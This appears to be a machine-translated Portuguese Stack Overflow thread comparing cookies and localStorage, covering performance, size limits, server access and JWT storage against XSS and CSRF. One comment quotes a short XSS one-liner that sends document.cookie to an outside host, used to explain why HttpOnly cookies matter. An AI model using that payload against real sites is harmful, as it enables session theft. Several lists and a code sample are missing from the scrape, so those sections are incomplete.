Desejo reduzir o tempo de carregamento nos meus sites, movendo todos os cookies para o armazenamento local, pois eles parecem ter a mesma funcionalidade. Existem prós / contras (especialmente em termos de desempenho) no uso do armazenamento local para substituir a funcionalidade de cookies, exceto pelos problemas óbvios de compatibilidade?
html
cookies
httprequest
local-storage
Gio Borje
fonte
fonte
Respostas:
Cookies e armazenamento local servem a propósitos diferentes. Os cookies são principalmente para leitura do lado do servidor , o armazenamento local pode ser lido apenas pelo lado do cliente . Portanto, a pergunta é, no seu aplicativo, quem precisa desses dados - o cliente ou o servidor?
Se for o seu cliente (seu JavaScript), mude por todos os meios. Você está desperdiçando largura de banda enviando todos os dados em cada cabeçalho HTTP.
Se for o seu servidor, o armazenamento local não é tão útil porque você teria que encaminhar os dados de alguma forma (com Ajax ou campos de formulário ocultos ou algo assim). Isso pode ser bom se o servidor precisar apenas de um pequeno subconjunto do total de dados para cada solicitação.
Você deseja deixar o cookie de sessão como um cookie de qualquer maneira.
De acordo com a diferença técnica, e também o meu entendimento:
Além de ser uma maneira antiga de salvar dados, os Cookies oferecem um limite de 4096 bytes (4095, na verdade) - é por cookie. O armazenamento local é de até 5 MB por domínio - a SO Question também menciona.
localStorage
é uma implementação daStorage
interface. Ele armazena dados sem data de validade e é limpo apenas por meio de JavaScript ou limpeza do cache do navegador / dados armazenados localmente - diferentemente da expiração do cookie.fonte
sessionStorage
como um cookie que expira até o navegador ser fechado (não a guia). @darkporter, obrigado pela resposta. No entanto, gostaria de ouvir a diferença técnica entre cookies e armazenamento local. aguardando sua edição.localStorage
permanece no cliente enquantocookies
é enviado com o cabeçalho HTTP. Essa é a maior (mas não a única) diferença entre eles.No contexto das JWTs , o Stormpath escreveu um artigo bastante útil, descrevendo as possíveis maneiras de armazená-las e as (des) vantagens relacionadas a cada método.
Ele também possui uma breve visão geral dos ataques XSS e CSRF e como você pode combatê-los.
Anexamos alguns trechos curtos do artigo abaixo, caso o artigo seja colocado offline / o site seja desativado.
Armazenamento local
Problemas:
Prevenção:
Biscoitos
Problemas:
Prevenção:
O artigo completo pode ser encontrado aqui: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/
Eles também têm um artigo útil sobre como melhor projetar e implementar JWTs, com relação à estrutura do próprio token: https://stormpath.com/blog/jwt-the-right-way/
fonte
localStorage
é acessível para outros scripts na página ... Mas também éXMLHttpRequest
... E sim, o sinalizador HttpOnly protege contra o roubo do cookie, mas o navegador ainda o envia para o domínio correspondente automaticamente, então ... basicamente, quando você tem scripts maliciosos Em execução na sua página, você já está hackeado.window.location = 'http://google.com?q=' + escape(document.cookie);
. Esse ataque ignora a verificação do CORS dos navegadores.Com
localStorage
, os aplicativos da web podem armazenar dados localmente no navegador do usuário. Antes do HTML5, os dados do aplicativo tinham que ser armazenados em cookies, incluídos em todas as solicitações do servidor. Grandes quantidades de dados podem ser armazenadas localmente, sem afetar o desempenho do site. EmboralocalStorage
seja mais moderno, existem alguns prós e contras de ambas as técnicas.Biscoitos
Prós
Contras
Armazenamento local
Prós
Contras
localStorage
o uso é quase idêntico ao da sessão. Eles têm métodos muito exatos, portanto, mudar de sessão paralocalStorage
é realmente uma brincadeira de criança. No entanto, se os dados armazenados forem realmente cruciais para o seu aplicativo, você provavelmente usará cookies como backup, casolocalStorage
não estejam disponíveis. Se você deseja verificar o suporte ao navegadorlocalStorage
, basta executar este script simples:fonte
Bem, a velocidade de armazenamento local depende muito do navegador que o cliente está usando, bem como do sistema operacional. O Chrome ou Safari em um mac pode ser muito mais rápido que o Firefox em um PC, especialmente com APIs mais recentes. Como sempre, o teste é seu amigo (não encontrei nenhuma referência).
Realmente não vejo uma diferença enorme entre o cookie e o armazenamento local. Além disso, você deve estar mais preocupado com problemas de compatibilidade: nem todos os navegadores começaram a dar suporte às novas APIs HTML5, portanto, os cookies seriam sua melhor aposta em velocidade e compatibilidade.
fonte
Também vale ressaltar que
localStorage
não pode ser usado quando os usuários navegam no modo "privado" em algumas versões do Safari móvel.Citado em MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):
fonte
O armazenamento local pode armazenar dados offline de até 5 MB, enquanto a sessão também pode armazenar dados de até 5 MB. Mas os cookies podem armazenar apenas dados de 4kb em formato de texto.
Dados de armazenamento LOCAL e Session no formato JSON, portanto fáceis de analisar. Mas os dados dos cookies estão no formato de sequência.
fonte
Cookies :
Armazenamento local:
fonte